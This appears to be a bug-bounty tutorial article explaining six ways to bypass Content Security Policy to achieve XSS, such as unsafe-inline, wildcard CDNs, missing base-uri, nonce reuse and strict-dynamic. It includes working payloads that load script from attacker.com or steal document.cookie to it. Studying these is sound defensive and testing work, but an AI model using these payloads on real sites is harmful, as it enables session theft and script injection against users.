Quick answer
A well-implemented CSP makes XSS "informational" — the payload doesn't execute. But 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) and JSONP endpoints on whitelisted domains open holes. Chained with a misconfigured CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true, or reflection of the Origin header), the attacker exfiltrates arbitrary data. The typical chain: XSS contained by CSP → CSP bypass via JSONP/wildcard → CORS misconfig to fetch credentials → exfil.
Anatomy of a CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
style-src 'self' 'unsafe-inline';
img-src * data:;
connect-src 'self' https://api.target.com;
frame-ancestors 'none';
base-uri 'self';
report-uri /csp-report
The directives relevant to XSS:
| Directive | Purpose | Bypass possible if |
|---|---|---|
script-src | Which scripts you can load | Contains unsafe-inline, unsafe-eval, CDN wildcards, domains with JSONP |
default-src | Fallback | If the app doesn't set script-src, it defaults here |
object-src | <object>, <embed>, <applet> | If not 'none', legacy Flash attacks (rare in 2026) |
base-uri | <base href> injection | If missing, the attacker sets <base> and redirects relative scripts |
style-src | CSS sources | unsafe-inline allows CSS exfil with expressions |
connect-src | Fetch/XHR/WebSocket destinations | If it's * or has wildcards, exfil without restriction |
frame-ancestors | Who can frame this | Without it, clickjacking is possible |
Bypass 1 — literal 'unsafe-inline'
Content-Security-Policy: script-src 'self' 'unsafe-inline'
The CSP is "present" but unsafe-inline nullifies it for inline scripts. Any classic XSS works without restrictions. It's still extremely common in legacy SaaS that migrated to CSP without refactoring inline handlers.
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>
Bypass 2 — 'unsafe-eval' enabled
'unsafe-eval' allows eval(), Function(), setTimeout(string). If the XSS lands in a sink where you can execute string-as-code, you don't need inline:
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->
Combined with legacy Angular (ng-app) or React with dangerouslySetInnerHTML, template engines become eval sinks.
Bypass 3 — Wildcards in script-src
script-src 'self' https://*.cloudfront.net
CloudFront lets anyone host static JS. The attacker creates their own S3 bucket → a URL like https://attacker-bucket.s3.cloudfront.net/payload.js. The CSP allows it.
<script src="https://attacker.s3.cloudfront.net/p.js"></script>
Dangerous variants:
script-src 'self' https://*.googleusercontent.com # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com # S3 público
script-src 'self' https://storage.googleapis.com # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files
All the "user-content under CDN" services break the CSP if they're whitelisted.
Bypass 4 — missing base-uri + relative scripts
If the app doesn't set base-uri 'self' but uses a relative <script src="./app.js">:
<!-- XSS injection point -->
<base href="https://attacker.com/">
<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->
Subtle because the app keeps working if the attacker hosts a benign app.js + payload. The CSP doesn't detect it because base-uri doesn't cover it.
Bypass 5 — Nonce reuse or predictable nonce
script-src 'self' 'nonce-abc123'
<script nonce="abc123">window.config = {...}</script>
If the nonce is:
- Reused across requests (cacheable / shared): the attacker captures a nonce and uses it in their payload.
- Predictable (timestamps, counter, weak random): predicting future nonces.
- Reflected in the HTML as an attribute of another element: if the attacker can inject into any DOM attribute near the nonce, they copy the value.
Example of a copy-nonce attack (limited HTML injection):
<img src=x onerror="
const nonce = document.querySelector('script[nonce]').nonce;
const s = document.createElement('script');
s.setAttribute('nonce', nonce);
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);
">
onerror doesn't execute if the CSP is strict (blocks inline), but if the nonce is accessible via the .nonce property and the CSP allows via a wildcard CDN, it does.
Bypass 6 — strict-dynamic + injected script
'strict-dynamic' allows scripts loaded via API (appendChild) by already-authorized scripts to also execute. If the attacker manages to execute a single line inside an authorized script (via a gadget, DOM clobbering, prototype pollution), they can load arbitrary JS:
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);
strict-dynamic gives the authorized loader carte blanche.
Keep reading the full chain
The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.
Practice this in a lab
Csp Bypass Arsenal
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.
Security headers checklist 2026 — CSP, HSTS, X-Frame, Referrer-Policy and more
A complete audit of the HTTP security headers every modern application should have: real examples, correct configuration, common mistakes and how to report them.